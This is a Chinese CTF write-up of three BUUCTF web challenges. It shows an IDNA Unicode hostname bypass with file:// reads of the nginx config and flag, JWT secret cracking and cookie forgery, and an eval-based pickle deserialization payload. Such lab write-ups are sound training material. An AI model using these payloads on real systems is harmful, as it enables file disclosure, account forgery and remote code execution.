BUUCTF Python 类

/ 0评 / 0

[SUCTF 2019]Pythonginx

第一次接触python类的题,试试看


@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
    #Dont worry about the suctf.cc. Go on!
    #Do you know the nginx?

审计,如果host==’suctf.cc‘就会报错,所以前两个不能等于这个,而最后一个if要求等于他(这里第三个经过了 decode('utf-8') )
遍历百度

我们传入的url为http://evil.c℀.com在经过上述处理过后便成为了http://evil.ca/c.com
注释给了两条信息,nginx和不要担心suctf.cc
因为是nginx,而他的配置文件在/usr/local/nginx/conf/nginx.conf
我们读一下
这里是在getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf
回显server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { # alias /usr/fffffflag; # } }
读一下flag文件
getUrl?ur=file://suctf.c℆sr/fffffflag
参考师傅们的WP做出来了。再想为什么会有这种情况,百度查阅后发现
这题的出题思路来自于今年BlackHat的一个议题PDF

在unicode中字符℀(U+2100),当IDNA处理此字符时,会将℀变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时,只对域名做了限制,那么通过这种方法,我们就可以轻松绕过服务器对域名的限制了。

这里我们需要找出可以利用的类似于分数的字符,让其解析为正常字符
遍历百度发现了一个脚本


# coding:utf-8
for i in range(128,65537):
    tmp=chr(i)
    try:
        res = tmp.encode('idna').decode('utf-8')
        if("-") in res:
            continue
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))
    except:
        pass

此脚本会自动检测可以替换的字符
之后还查询了一下nginx的相关信息

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

未来遇到此类题目可以继续进一步理解

[ASIS 2019]Unicorn shop

打开后一个买独角兽的页面

前三个比较便宜,最后一个比较贵重,我们购买前三个的提示是一样的

而购买最后一个的时候,会提示

可以看到这里只能填入一个字符
如何绕过并正常买到第四个独角兽呢
在源码中,发现了这样的句子<meta charset="utf-8"><!--Ah,really important,seriously. -->
这里提示有什么用呢,遍历百度
UNICODE编码发现一个网站可以找到utf编码,代表的数字大于1337即可;符号直接提交就获得flag了


[CISCN2019 华北赛区 Day1 Web2]ikun

打开后为cxk篮球高发

这里提示买到lv6,而下面只有lv5,随便翻了几页无果,写个脚本跑一下


import requests
for i in range(1,1000):
    url='http://e7584550-20b1-4acb-aae2-fabb512e4a96.node3.buuoj.cn/shop?page={}'.format(i)
    url1=requests.get(url)
    if "lv6.png" in url1.text:
        print(i)
        exit()

发现在第181页有lv6

而我们又发现,这个lv6的价格高的离谱,我们注册的账户只有1K的经济(追星真难)
抓包后发现这个折扣是传入的,我们把折扣改大一点

发现了新的页面,访问

这里注意,抓包的时候还需要注意到一个关键变量。JWT 什么是JWT
在https://jwt.io/中解密。将username改为admin。并用jwtcrack工具爆破出秘钥1Kun加密后修改cookie,发送获得一个www.zip源码


审计python代码,因为是ADMIN登陆的,所以我们先审计admin.py
 

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')
    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

在post函数中,首先会获取become变量,之后使用urllib.unqote(become)进行url编码 百度后发现。pickle.loads对应反序列化,pickle.dumps对应反序列化
这里可能需要用到python反序列化了
然后遍历百度,发现python魔术方法reduce

当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。
_reduce_ 被定义之后,当对象被Pickle时就会被调用。

即该魔术方法为pickle的入口
我们写个python让他调用并打开flag文件

import pickle
import urllib
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a

还是来了解一下他们是干嘛的为什么可以这样使用吧

reduce它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。
这个元组包含2到5个元素,其中包括:
一个可调用的对象,用于重建对象时调用;
一个参数元素,供那个可调用对象使用;
被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选)

我们要返回的是flag.txt的字节流,所以我们需要返回一个元组,这个元组包含两个必选的参数,第一个可调用的对象,我们这里用的eval,第二个参数,我们使用的是open(’/flag.txt’,‘r’).read()
python跑一下传给become即可获得flag

这题的知识点太多了,也是我第一次看python类的题目,还有很多没有掌握的知识,需要慢慢消化
好多师傅都做出来了,太强了

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注